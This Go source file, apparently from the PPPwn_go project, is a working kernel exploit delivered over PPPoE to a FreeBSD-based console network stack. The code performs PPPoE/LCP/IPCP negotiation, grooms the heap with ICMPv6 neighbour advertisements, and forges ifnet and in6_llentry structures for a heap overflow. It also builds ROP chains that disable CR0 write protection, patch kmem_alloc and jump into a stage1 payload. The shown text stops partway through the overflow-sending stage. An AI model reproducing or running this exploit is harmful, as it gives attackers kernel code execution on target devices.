package exploit

import (
	"bytes"
	"context"
	"encoding/binary"
	"fmt"
	"net"
	"os"
	"time"

	"github.com/wetor/PPPwn_go/internal/errors"

	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
	"github.com/wetor/PPPwn_go/internal/config"
	"github.com/wetor/PPPwn_go/internal/lcp"
	"github.com/wetor/PPPwn_go/internal/logger"
	"github.com/wetor/PPPwn_go/internal/packet"
	"github.com/wetor/PPPwn_go/internal/pppoe"
	"github.com/wetor/PPPwn_go/internal/utils"
)

type Exploit struct {
	ctx             context.Context
	injectTargetMac net.HardwareAddr
	offs            *Offset
	timeout         time.Duration
	iface           string
	stage1          []byte
	stage2          []byte

	p *packet.Packet

	kaslrOffset    uint64
	pppoeSoftc     uint64
	pppoeSoftcList uint64
	targetMac      net.HardwareAddr
	sourceMac      net.HardwareAddr
	targetIPv6     net.IP
}

type Option struct {
	Timeout    int
	Interface  string
	Stage1Data []byte
	Stage2Data []byte
	Inject     *config.Inject
}

func NewExploit(opts *Option) *Exploit {
	var err error
	offs, ok := FirmwareOffsets[opts.Inject.Firmware]
	if !ok {
		logger.Fatalf("fw '%s' not supported, supported firmwares %v", opts.Inject.Firmware, SupportedFirmware)
	}

	e := &Exploit{
		ctx:             context.Background(),
		injectTargetMac: nil,
		offs:            offs,
		timeout:         time.Duration(opts.Timeout) * time.Second,
		iface:           opts.Interface,
	}

	if len(opts.Stage1Data) > 0 {
		e.stage1 = opts.Stage1Data
	} else {
		e.stage1, err = os.ReadFile(opts.Inject.Stage1File)
		if err != nil {
			logger.Fatal(err)
		}
	}
	if len(opts.Stage2Data) > 0 {
		e.stage2 = opts.Stage2Data
	} else {
		e.stage2, err = os.ReadFile(opts.Inject.Stage2File)
		if err != nil {
			logger.Fatal(err)
		}
	}
	if opts.Inject.TargetMAC != "" {
		e.injectTargetMac, err = net.ParseMAC(opts.Inject.TargetMAC)
		if err != nil {
			logger.Fatal(err)
		}
	}

	e.p = packet.NewPacket(e.iface, BPF_FILTER)
	return e
}

func (e *Exploit) Reset() {
	e.kaslrOffset = 0
	e.pppoeSoftc = 0
	e.pppoeSoftcList = 0
	e.targetMac = nil
	e.sourceMac = nil
	e.targetIPv6 = nil
}

func (e *Exploit) kdlsym(addr uint64) uint64 {
	return e.kaslrOffset + addr
}

func (e *Exploit) lcpNegotiation() (err error) {
	logger.Infof("[*] Sending LCP configure request...")
	err = e.p.SendLCP(&packet.SendLCPParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoESession,
		SessionID:    SESSION_ID,
		LCP: &lcp.Pkt{
			Proto: lcp.ProtoLCP,
			Code:  lcp.CodeConfigureRequest,
			ID:    LCP_ID,
		},
	})
	if err != nil {
		logger.Error(err)
		return errors.LCPNegotiationError
	}

	logger.Infof("[*] Waiting for LCP configure ACK...")
	_, _, _ = e.p.ReceiveLCP(e.ctx, lcp.ProtoLCP, lcp.CodeConfigureAck)

	logger.Infof("[*] Waiting for LCP configure request...(wait %s)", e.timeout.String())
	ctx, c := context.WithTimeout(e.ctx, e.timeout)
	defer c()
	_, pkt, _ := e.p.ReceiveLCP(ctx, lcp.ProtoLCP, lcp.CodeConfigureRequest)

	logger.Infof("[*] Sending LCP configure ACK...")
	err = e.p.SendLCP(&packet.SendLCPParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoESession,
		SessionID:    SESSION_ID,
		LCP: &lcp.Pkt{
			Proto: lcp.ProtoLCP,
			Code:  lcp.CodeConfigureAck,
			ID:    pkt.ID,
		},
	})
	if err != nil {
		logger.Error(err)
		return errors.LCPNegotiationError
	}
	return nil
}

func (e *Exploit) lcpTerminate() (err error) {
	logger.Infof("[*] Sending LCP terminate request...")
	err = e.p.SendLCP(&packet.SendLCPParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoESession,
		SessionID:    SESSION_ID,
		LCP: &lcp.Pkt{
			Proto: lcp.ProtoLCP,
			Code:  lcp.CodeTerminateRequest,
		},
	})
	if err != nil {
		return err
	}
	return nil
}

func (e *Exploit) ipcpNegotiation() (err error) {
	logger.Infof("[*] Sending IPCP configure request...")
	err = e.p.SendLCP(&packet.SendLCPParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoESession,
		SessionID:    SESSION_ID,
		LCP: &lcp.Pkt{
			Proto: lcp.ProtoIPCP,
			Code:  lcp.CodeConfigureRequest,
			ID:    IPCP_ID,
			Options: []lcp.Option{
				&lcp.IPv4AddrOption{
					AddrType: lcp.OpIPAddress,
					Addr:     net.ParseIP(SOURCE_IPV4),
				},
			},
		},
	})
	if err != nil {
		logger.Error(err)
		return errors.IPCPNegotiationError
	}

	logger.Infof("[*] Waiting for IPCP configure ACK...")
	_, _, _ = e.p.ReceiveLCP(e.ctx, lcp.ProtoIPCP, lcp.CodeConfigureAck)

	logger.Infof("[*] Waiting for IPCP configure request...")
	_, pkt, _ := e.p.ReceiveLCP(e.ctx, lcp.ProtoIPCP, lcp.CodeConfigureRequest)

	logger.Infof("[*] Sending IPCP configure NAK...")
	err = e.p.SendLCP(&packet.SendLCPParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoESession,
		SessionID:    SESSION_ID,
		LCP: &lcp.Pkt{
			Proto: lcp.ProtoIPCP,
			Code:  lcp.CodeConfigureNak,
			ID:    pkt.ID,
			Options: []lcp.Option{
				&lcp.IPv4AddrOption{
					AddrType: lcp.OpIPAddress,
					Addr:     net.ParseIP(TARGET_IPV4),
				},
			},
		},
	})
	if err != nil {
		logger.Error(err)
		return errors.IPCPNegotiationError
	}

	logger.Infof("[*] Waiting for IPCP configure request...")
	_, pkt, _ = e.p.ReceiveLCP(e.ctx, lcp.ProtoIPCP, lcp.CodeConfigureRequest)

	logger.Infof("[*] Sending IPCP configure ACK...")
	err = e.p.SendLCP(&packet.SendLCPParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoESession,
		SessionID:    SESSION_ID,
		LCP: &lcp.Pkt{
			Proto:   lcp.ProtoIPCP,
			Code:    lcp.CodeConfigureAck,
			ID:      pkt.ID,
			Options: pkt.Options,
		},
	})
	if err != nil {
		logger.Error(err)
		return errors.IPCPNegotiationError
	}
	return nil
}

func (e *Exploit) pppNegotiation(cb func() []byte, ignoreInitialReq bool) (err error) {
	if ignoreInitialReq {
		logger.Infof("[*] Waiting for PADI...")
		_, _, _ = e.p.ReceivePPPoE(e.ctx, layers.EthernetTypePPPoEDiscovery, layers.PPPoECodePADI, e.injectTargetMac)
	}

	logger.Infof("[*] Waiting for PADI...")
	eth, pkt, _ := e.p.ReceivePPPoE(e.ctx, layers.EthernetTypePPPoEDiscovery, layers.PPPoECodePADI, e.injectTargetMac)
	var host_uniq []byte
	for _, tag := range pkt.Tags {
		if tag.Type() == uint16(pppoe.TagTypeHostUniq) {
			host_uniq = tag.(*pppoe.TagByteSlice).Value
			break
		}
	}
	if host_uniq == nil {
		logger.Error("host_uniq is nil")
		return errors.PPPNegotiationError
	}

	e.pppoeSoftc = binary.LittleEndian.Uint64(host_uniq)
	logger.Infof("[+] pppoe_softc: %x", host_uniq)
	e.targetMac = eth.SrcMAC
	logger.Infof("[+] Target MAC: %v", e.targetMac)
	e.sourceMac, _ = net.ParseMAC(SOURCE_MAC)
	var acCookie []byte
	if cb != nil {
		acCookie = cb()
	}
	logger.Infof("[+] AC cookie length: %X", len(acCookie))
	logger.Infof("[*] Sending PADO...")
	err = e.p.SendPPPoE(&packet.SendPPPoEParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoEDiscovery,
		PPPoE: &pppoe.Pkt{
			Code: layers.PPPoECodePADO,
			Tags: []pppoe.Tag{
				&pppoe.TagByteSlice{
					Value:   acCookie,
					TagType: pppoe.TagTypeACCookie,
				},
				&pppoe.TagByteSlice{
					Value:   host_uniq,
					TagType: pppoe.TagTypeHostUniq,
				},
			},
		},
	})
	if err != nil {
		logger.Error(err)
		return errors.PPPNegotiationError
	}

	logger.Infof("[*] Waiting for PADR...")
	_, _, _ = e.p.ReceivePPPoE(e.ctx, layers.EthernetTypePPPoEDiscovery, layers.PPPoECodePADR, e.injectTargetMac)

	logger.Infof("[*] Sending PADS...")
	err = e.p.SendPPPoE(&packet.SendPPPoEParams{
		SrcMAC:       e.sourceMac,
		DstMAC:       e.targetMac,
		EthernetType: layers.EthernetTypePPPoEDiscovery,
		PPPoE: &pppoe.Pkt{
			Code:      layers.PPPoECodePADS,
			SessionID: SESSION_ID,
			Tags: []pppoe.Tag{
				&pppoe.TagByteSlice{
					Value:   host_uniq,
					TagType: pppoe.TagTypeHostUniq,
				},
			},
		},
	})
	if err != nil {
		logger.Error(err)
		return errors.PPPNegotiationError
	}
	return nil
}

func (e *Exploit) pppTerminate() (err error) {
	logger.Infof("[*] Sending PADT...")
	err = e.p.Send(&packet.SendParams{
		FixLengths: true,
		Layers: []gopacket.SerializableLayer{
			&layers.Ethernet{
				SrcMAC:       e.sourceMac,
				DstMAC:       e.targetMac,
				EthernetType: layers.EthernetTypePPPoEDiscovery,
			},
			&pppoe.Pkt{
				Code:      layers.PPPoECodePADT,
				SessionID: SESSION_ID,
			},
		},
	})
	if err != nil {
		return err
	}
	return nil
}

func (e *Exploit) BuildFakeIfnet() []byte {
	// Leak address
	// Upper bytes are encoded with SESSION_ID
	planted := (e.pppoeSoftc + 0x07) & 0xffffffffffff
	e.sourceMac = utils.ToBytes(planted, 6, binary.LittleEndian)
	logger.Infof("[+] Source MAC: %s", e.sourceMac.String())

	var fakeIfnet bytes.Buffer

	fakeIfnet.Write(bytes.Repeat([]byte("A"), 0x48-fakeIfnet.Len()))
	fakeIfnet.Write(utils.P64(0)) // if_addrhead
	fakeIfnet.Write(bytes.Repeat([]byte("A"), 0x70-fakeIfnet.Len()))
	fakeIfnet.Write(utils.P16(0x0001)) // if_index
	fakeIfnet.Write(bytes.Repeat([]byte("A"), 0xa0-fakeIfnet.Len()))
	fakeIfnet.Write(utils.P8(IFT_ETHER)) // ifi_type
	fakeIfnet.Write(utils.P8(0))         // ifi_physical
	fakeIfnet.Write(utils.P8(0x8 + 0x1)) // ifi_addrlen
	fakeIfnet.Write(bytes.Repeat([]byte("A"), 0x1b8-fakeIfnet.Len()))
	fakeIfnet.Write(utils.P64(e.pppoeSoftc + PPPOE_SOFTC_SC_DEST)) // if_addr
	fakeIfnet.Write(bytes.Repeat([]byte("A"), 0x428-fakeIfnet.Len()))
	fakeIfnet.Write(utils.P64(e.pppoeSoftc + 0x10 - 0x8)) // nd_ifinfo

	// if_afdata_lock
	fakeIfnet.Write(bytes.Repeat([]byte("A"), 0x480-fakeIfnet.Len()))
	fakeIfnet.Write(utils.P64(0))             // lo_name
	fakeIfnet.Write(utils.P32(RW_INIT_FLAGS)) // lo_flags
	fakeIfnet.Write(utils.P32(0))             // lo_data
	fakeIfnet.Write(utils.P64(0))             // lo_witness
	fakeIfnet.Write(utils.P64(RW_UNLOCKED))   // rw_lock

	// if_addr_mtx
	fakeIfnet.Write(bytes.Repeat([]byte("A"), 0x4c0-fakeIfnet.Len()))
	fakeIfnet.Write(utils.P64(0))              // lo_name
	fakeIfnet.Write(utils.P32(MTX_INIT_FLAGS)) // lo_flags
	fakeIfnet.Write(utils.P32(0))              // lo_data
	fakeIfnet.Write(utils.P64(0))              // lo_witness
	fakeIfnet.Write(utils.P64(MTX_UNOWNED))    // mtx_lock

	return fakeIfnet.Bytes()
}

func (e *Exploit) BuildOverflowLle() []byte {
	// Fake in6_llentry
	var overflowLle bytes.Buffer

	// lle_next
	overflowLle.Write(utils.P64(e.pppoeSoftc + PPPOE_SOFTC_SC_AC_COOKIE)) // le_next
	overflowLle.Write(utils.P64(0))                                       // le_prev

	// lle_lock
	overflowLle.Write(utils.P64(0))                        // lo_name
	overflowLle.Write(utils.P32(RW_INIT_FLAGS | LO_DUPOK)) // lo_flags
	overflowLle.Write(utils.P32(0))                        // lo_data
	overflowLle.Write(utils.P64(0))                        // lo_witness
	overflowLle.Write(utils.P64(RW_UNLOCKED))              // rw_lock

	overflowLle.Write(utils.P64(e.pppoeSoftc + PPPOE_SOFTC_SC_AC_COOKIE - LLTABLE_LLTIFP)) // lle_tbl
	overflowLle.Write(utils.P64(0))                                                        // lle_head
	overflowLle.Write(utils.P64(0))                                                        // lle_free
	overflowLle.Write(utils.P64(0))                                                        // la_hold
	overflowLle.Write(utils.P32(0))                                                        // la_numheld
	overflowLle.Write(utils.P32(0))                                                        // pad
	overflowLle.Write(utils.P64(0))                                                        // la_expire
	overflowLle.Write(utils.P16(LLE_EXCLUSIVE))                                            // la_flags
	overflowLle.Write(utils.P16(0))                                                        // la_asked
	overflowLle.Write(utils.P16(0))                                                        // la_preempt
	overflowLle.Write(utils.P16(0))                                                        // ln_byhint
	overflowLle.Write(utils.P16(ND6_LLINFO_NOSTATE))                                       // ln_state
	overflowLle.Write(utils.P16(0))                                                        // ln_router
	overflowLle.Write(utils.P32(0))                                                        // pad
	overflowLle.Write(utils.P64(0x7fffffffffffffff))                                       // ln_ntick

	return overflowLle.Bytes()
}

func (e *Exploit) BuildFakeLle() []byte {
	// First gadget - must be a valid MAC address
	// Upper bytes are encoded with SESSION_ID
	planted := e.kdlsym(e.offs.FIRST_GADGET) & 0xffffffffffff
	e.sourceMac = utils.ToBytes(planted, 6, binary.LittleEndian)
	logger.Infof("[+] Source MAC: %s", e.sourceMac.String())
	// Fake in6_llentry
	var fakeLle bytes.Buffer

	// lle_next
	// Third gadget
	fakeLle.Write(utils.P64(e.kdlsym(e.offs.POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10))) // le_next
	fakeLle.Write(utils.P64(NULL))                                                          // le_prev

	// lle_lock
	// Fourth gadget
	fakeLle.Write(utils.P64(e.kdlsym(e.offs.LEA_RSP_RSI_20_REPZ_RET))) // lo_name
	fakeLle.Write(utils.P32(RW_INIT_FLAGS | LO_DUPOK))                 // lo_flags
	fakeLle.Write(utils.P32(0))                                        // lo_data
	// Fifth gadget
	fakeLle.Write(utils.P64(e.kdlsym(e.offs.ADD_RSP_B0_POP_RBP_RET))) // lo_witness
	fakeLle.Write(utils.P64(RW_UNLOCKED))                             // rw_lock

	fakeLle.Write(utils.P64(e.pppoeSoftc + PPPOE_SOFTC_SC_DEST - LLTABLE_LLTFREE)) // lle_tbl
	fakeLle.Write(utils.P64(NULL))                                                 // lle_head
	fakeLle.Write(utils.P64(NULL))                                                 // lle_free
	fakeLle.Write(utils.P64(NULL))                                                 // la_hold
	fakeLle.Write(utils.P32(0))                                                    // la_numheld
	fakeLle.Write(utils.P32(0))                                                    // pad
	fakeLle.Write(utils.P64(0))                                                    // la_expire
	fakeLle.Write(utils.P16(LLE_STATIC | LLE_EXCLUSIVE))                           // la_flags
	fakeLle.Write(utils.P16(0))                                                    // la_asked
	fakeLle.Write(utils.P16(0))                                                    // la_preempt
	fakeLle.Write(utils.P16(0))                                                    // ln_byhint
	fakeLle.Write(utils.P16(ND6_LLINFO_NOSTATE))                                   // ln_state
	fakeLle.Write(utils.P16(0))                                                    // ln_router
	fakeLle.Write(utils.P32(0))                                                    // pad
	fakeLle.Write(utils.P64(0x7fffffffffffffff))                                   // ln_ntick
	fakeLle.Write(utils.P32(0))                                                    // lle_refcnt
	fakeLle.Write(utils.P32(0))                                                    // pad
	fakeLle.Write(utils.P64be(0x414141414141))                                     // ll_addr

	// lle_timer
	fakeLle.Write(utils.P64(0))                      // sle
	fakeLle.Write(utils.P64(0))                      // tqe
	fakeLle.Write(utils.P32(0))                      // c_time
	fakeLle.Write(utils.P32(0))                      // pad
	fakeLle.Write(utils.P64(NULL))                   // c_arg
	fakeLle.Write(utils.P64(NULL))                   // c_func
	fakeLle.Write(utils.P64(NULL))                   // c_lock
	fakeLle.Write(utils.P32(CALLOUT_RETURNUNLOCKED)) // c_flags
	fakeLle.Write(utils.P32(0))                      // c_cpu

	// l3_addr6
	fakeLle.Write(utils.P8(SOCKADDR_IN6_SIZE)) // sin6_len
	fakeLle.Write(utils.P8(AF_INET6))          // sin6_family
	fakeLle.Write(utils.P16(0))                // sin6_port
	fakeLle.Write(utils.P32(0))                // sin6_flowinfo
	// sin6_addr
	fakeLle.Write(utils.P64be(0xfe80000100000000))
	fakeLle.Write(utils.P64be(0x4141414141414141))
	fakeLle.Write(utils.P32(0)) // sin6_scope_id

	// pad
	fakeLle.Write(utils.P32(0))

	//fakeLle[e.offs.SECOND_GADGET_OFF : e.offs.SECOND_GADGET_OFF+8] = P64(e.kdlsym(e.offs.PUSH_RBP_JMP_QWORD_PTR_RSI))

	// Second gadget
	fakeLleBytes := fakeLle.Bytes()
	var fakeLleResult bytes.Buffer
	fakeLleResult.Write(fakeLleBytes[:e.offs.SECOND_GADGET_OFF])
	fakeLleResult.Write(utils.P64(e.kdlsym(e.offs.PUSH_RBP_JMP_QWORD_PTR_RSI)))
	fakeLleResult.Write(fakeLleBytes[e.offs.SECOND_GADGET_OFF+8:])

	// Second ROP chain
	rop2 := e.buildSecondRop()
	// First ROP chain
	rop := e.buildFirstRop(fakeLleResult.Bytes(), rop2)

	fakeLleResult.Write(rop)
	fakeLleResult.Write(rop2)
	fakeLleResult.Write(e.stage1)
	return fakeLleResult.Bytes()
}

func (e *Exploit) buildFirstRop(fake_lle, rop2 []byte) []byte {
	var rop bytes.Buffer
	// memcpy(RBX - 0x800, rop2, len(rop2 + stage1))

	// RDI = RBX - 0x800
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_R12_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RBP_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_RDI_RBX_CALL_R12)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RCX_RET)))
	a := int64(-0x800)
	rop.Write(utils.P64(uint64(a)))
	rop.Write(utils.P64(e.kdlsym(e.offs.ADD_RDI_RCX_RET)))

	// RSI += len(fake_lle + rop)
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDX_RET)))
	ropOffFixup := rop.Len()
	rop.Write(utils.P64(0xDEADBEEF))
	rop.Write(utils.P64(e.kdlsym(e.offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET)))
	rop.Write(utils.P64(0xDEADBEEF))

	// RDX = len(rop2 + stage1)
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDX_RET)))
	rop.Write(utils.P64(uint64(len(rop2) + len(e.stage1))))

	// Call memcpy
	rop.Write(utils.P64(e.kdlsym(e.offs.MEMCPY)))

	// Stack pivot
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RAX_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RBP_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_RSI_RBX_CALL_RAX)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDX_RET)))
	rop.Write(utils.P64(0x800 + 0x20))
	rop.Write(utils.P64(e.kdlsym(e.offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET)))
	rop.Write(utils.P64(0xDEADBEEF))
	rop.Write(utils.P64(e.kdlsym(e.offs.LEA_RSP_RSI_20_REPZ_RET)))
	// rop[ropOffFixup : ropOffFixup+8] = P64(-len(fakeLle+rop))
	// Fixup offset of rop2
	ropBytes := rop.Bytes()
	var ropResult bytes.Buffer
	ropResult.Write(ropBytes[:ropOffFixup])
	ropResult.Write(utils.P64(uint64(-int64(len(fake_lle) + len(ropBytes)))))
	ropResult.Write(ropBytes[ropOffFixup+8:])
	return ropResult.Bytes()
}

func (e *Exploit) buildSecondRop() []byte {
	var rop bytes.Buffer

	// setidt(IDT_UD, handler, SDT_SYSIGT, SEL_KPL, 0)
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDI_RET)))
	rop.Write(utils.P64(IDT_UD))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RSI_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.ADD_RSP_28_POP_RBP_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDX_RET)))
	rop.Write(utils.P64(SDT_SYSIGT))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RCX_RET)))
	rop.Write(utils.P64(SEL_KPL))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_R8_POP_RBP_RET)))
	rop.Write(utils.P64(0))
	rop.Write(utils.P64(0xDEADBEEF))
	rop.Write(utils.P64(e.kdlsym(e.offs.SETIDT)))

	// Disable write protection
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RSI_RET)))
	rop.Write(utils.P64(CR0_ORI & ^CR0_WP))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_CR0_RSI_UD2_MOV_EAX_1_RET)))

	// Enable RWX in kmem_alloc
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RAX_RET)))
	rop.Write(utils.P64(VM_PROT_ALL))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RCX_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.KMEM_ALLOC_PATCH1)))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_BYTE_PTR_RCX_AL_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RCX_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.KMEM_ALLOC_PATCH2)))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_BYTE_PTR_RCX_AL_RET)))

	// Restore write protection
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RSI_RET)))
	rop.Write(utils.P64(CR0_ORI))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_CR0_RSI_UD2_MOV_EAX_1_RET)))

	// kmem_alloc(*kernel_map, PAGE_SIZE)

	// RDI = *kernel_map
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RAX_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDI_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.KERNEL_MAP)))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX)))
	rop.Write(utils.P64(0xDEADBEEF))

	// RSI = PAGE_SIZE
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RSI_RET)))
	rop.Write(utils.P64(PAGE_SIZE))

	// Call kmem_alloc
	rop.Write(utils.P64(e.kdlsym(e.offs.KMEM_ALLOC)))

	// R14 = RAX
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_R8_POP_RBP_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RBP_RET)))
	rop.Write(utils.P64(0xDEADBEEF))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_R14_RAX_CALL_R8)))

	// memcpy(R14, stage1, len(stage1))

	// RDI = R14
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_R12_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RBP_RET)))
	rop.Write(utils.P64(e.kdlsym(e.offs.MOV_RDI_R14_CALL_R12)))

	// RSI = RSP + len(rop) - rop_rsp_pos
	rop.Write(utils.P64(e.kdlsym(e.offs.PUSH_RSP_POP_RSI_RET)))
	ropRspPos := rop.Len()
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDX_RET)))
	ropOffFixup := rop.Len()
	rop.Write(utils.P64(0xDEADBEEF))
	rop.Write(utils.P64(e.kdlsym(e.offs.SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET)))
	rop.Write(utils.P64(0xDEADBEEF))

	// RDX = len(stage1)
	rop.Write(utils.P64(e.kdlsym(e.offs.POP_RDX_RET)))
	rop.Write(utils.P64(uint64(len(e.stage1))))

	// Call memcpy
	rop.Write(utils.P64(e.kdlsym(e.offs.MEMCPY)))

	// Jump into stage1
	rop.Write(utils.P64(e.kdlsym(e.offs.JMP_R14)))

	// rop[ropOffFixup : ropOffFixup+8] = P64(-(len(rop) - ropRspPos))
	// Fixup offset of stage1
	ropBytes := rop.Bytes()
	var ropResult bytes.Buffer
	ropResult.Write(ropBytes[:ropOffFixup])
	ropResult.Write(utils.P64(uint64(-int64(len(ropBytes) - ropRspPos))))
	ropResult.Write(ropBytes[ropOffFixup+8:])
	return ropResult.Bytes()
}

func LcpEchoHandler(ctx context.Context, iface string) {
	var err error
	p := packet.NewPacket(iface, "pppoes && !ip")

	go func() {
		for {
			eth, pppoePkt, _, pkt, _ := p.ReceiveEthPPPoELCP(ctx, lcp.ProtoLCP, lcp.CodeEchoRequest)

			err = p.Send(&packet.SendParams{
				FixLengths:       true,
				ComputeChecksums: false,
				Layers: []gopacket.SerializableLayer{
					&layers.Ethernet{
						SrcMAC:       eth.DstMAC,
						DstMAC:       eth.SrcMAC,
						EthernetType: layers.EthernetTypePPPoESession,
					},
					&pppoe.Pkt{
						SessionID: pppoePkt.SessionID,
					},
					&layers.PPP{
						PPPType: lcp.ProtoLCP,
					},
					&lcp.Pkt{
						Proto: lcp.ProtoLCP,
						Code:  lcp.CodeEchoReply,
						ID:    pkt.ID,
					},
				},
			})
			if err != nil {
				logger.Error(err)
			}
		}
	}()
}

func (e *Exploit) runStage0() (err error) {
	LcpEchoHandler(e.ctx, e.iface)

	err = e.pppNegotiation(e.BuildFakeIfnet, true)
	if err != nil {
		return err
	}
	err = e.lcpNegotiation()
	if err != nil {
		return err
	}
	err = e.ipcpNegotiation()
	if err != nil {
		return err
	}

	logger.Infof("[*] Waiting for interface to be ready...")
	ipv6Pkt := &layers.IPv6{}
	err = e.p.Receive(&packet.ReceiveParams{
		Ctx: e.ctx,
		Log: true,
		Layer: []*packet.LayerValue{
			{
				Layer: layers.LayerTypeIPv6,
				Check: func(val any) bool {
					if p, ok := val.(*layers.IPv6); ok {
						ipv6Pkt = p
						return true
					}
					return false
				},
			},
			{
				Layer: layers.LayerTypeICMPv6RouterSolicitation,
				Check: func(val any) bool {
					return true
				},
			},
		},
	})
	if err != nil {
		return err
	}

	e.targetIPv6 = ipv6Pkt.SrcIP
	logger.Infof("[+] Target IPv6: %v", e.targetIPv6.String())

	for i := 0; i < SPRAY_NUM; i++ {
		if i%0x100 == 0 {
			fmt.Printf("[*] Heap grooming...%d%%\r", int(float32(i)/float32(SPRAY_NUM)*100))
		}

		// send
		sourceIPv6 := net.ParseIP(fmt.Sprintf("fe80::%04x:4141:4141:4141", i))
		err = e.p.SendICMPv6(&packet.SendICMPv6Params{
			SrcMAC:       e.sourceMac,
			DstMAC:       e.targetMac,
			EthernetType: layers.EthernetTypeIPv6,
			SrcIP:        sourceIPv6,
			DstIP:        e.targetIPv6,
			HopLimit:     64,
			ICMPv6Type:   layers.ICMPv6TypeEchoRequest,
			Layers: []gopacket.SerializableLayer{
				&layers.ICMPv6Echo{},
			},
		})
		if err != nil {
			return err
		}

		// recv
		_, _, err = e.p.ReceiveICMPv6NS(e.ctx, false)
		if err != nil {
			return err
		}

		if i >= HOLE_START && i%HOLE_SPACE == 0 {
			continue
		}

		// send
		err = e.p.SendICMPv6(&packet.SendICMPv6Params{
			SrcMAC:       e.sourceMac,
			DstMAC:       e.targetMac,
			EthernetType: layers.EthernetTypeIPv6,
			SrcIP:        sourceIPv6,
			DstIP:        e.targetIPv6,
			HopLimit:     255,
			ICMPv6Type:   layers.ICMPv6TypeNeighborAdvertisement,
			Layers: []gopacket.SerializableLayer{
				&layers.ICMPv6NeighborAdvertisement{
					TargetAddress: sourceIPv6,
					Flags:         0xE0,
					Options: []layers.ICMPv6Option{
						{
							Type: layers.ICMPv6OptTargetAddress,
							Data: e.sourceMac,
						},
					},
				},
			},
		})
		if err != nil {
			return err
		}
	}
	logger.Infof("[+] Heap grooming...done")
	return nil
}

func (e *Exploit) runStage1() (err error) {

	// Send invalid packet to trigger a printf in the kernel. For some
	// reason, this causes scheduling on CPU 0 at some point, which makes
	// the next allocation use the same per-CPU cache.
	for i := 0; i < PIN_NUM; i++ {
		if i%0x100 == 0 {
			fmt.Printf("[*] Pinning to CPU 0...%d%%\r", int(float32(i)/float32(PIN_NUM)*100))
		}
		bytes := make([]byte, 14)
		copy(bytes, e.targetMac)
		copy(bytes[6:], e.sourceMac)
		binary.BigEndian.PutUint16(bytes[12:], uint16(layers.EthernetTypePPPoESession))
		err = e.p.Handle.WritePacketData(bytes)
		if err != nil {
			return err
		}
		time.Sleep(1 * time.Millisecond)
	}

	logger.Infof("[+] Pinning to CPU 0...done")

	// LCP fails sometimes without the wait
	time.Sleep(1 * time.Second)

	// Corrupt in6_llentry object
	overflowLle := e.BuildOverflowLle()
	logger.Infof("[*] Sending malicious LCP configure request...")
	for i := 0; i < CORRUPT_NUM; i++ {

		buf := bytes.NewBuffer(nil)
		buf.Write(utils.P16be(uint16(TARGET_SIZE - 2)))
		buf.Write(bytes.Repeat([]byte("A"), TARGET_SIZE-4))
		buf.Write(utils.P16be(uint16(len(overflowLle) + 2)))
		buf.Write(overflowLle)

		err = e.p.SendLCP(&packet.SendLCPParams{
			SrcMAC:       e.sourceMac,
			DstMAC:       e.targetMac,
			EthernetType: layers.EthernetTypePPPoESession,
			SessionID:    SESSION_ID,
			LCP: &lcp.Pkt{
				Proto:   lcp.ProtoLCP,
				Code:    lcp.CodeConfigureRequest,
				ID:      LCP_ID,
				Len:     uint16(TARGET_SIZE + 4),
				Payload: buf.Bytes(),
			},
		})
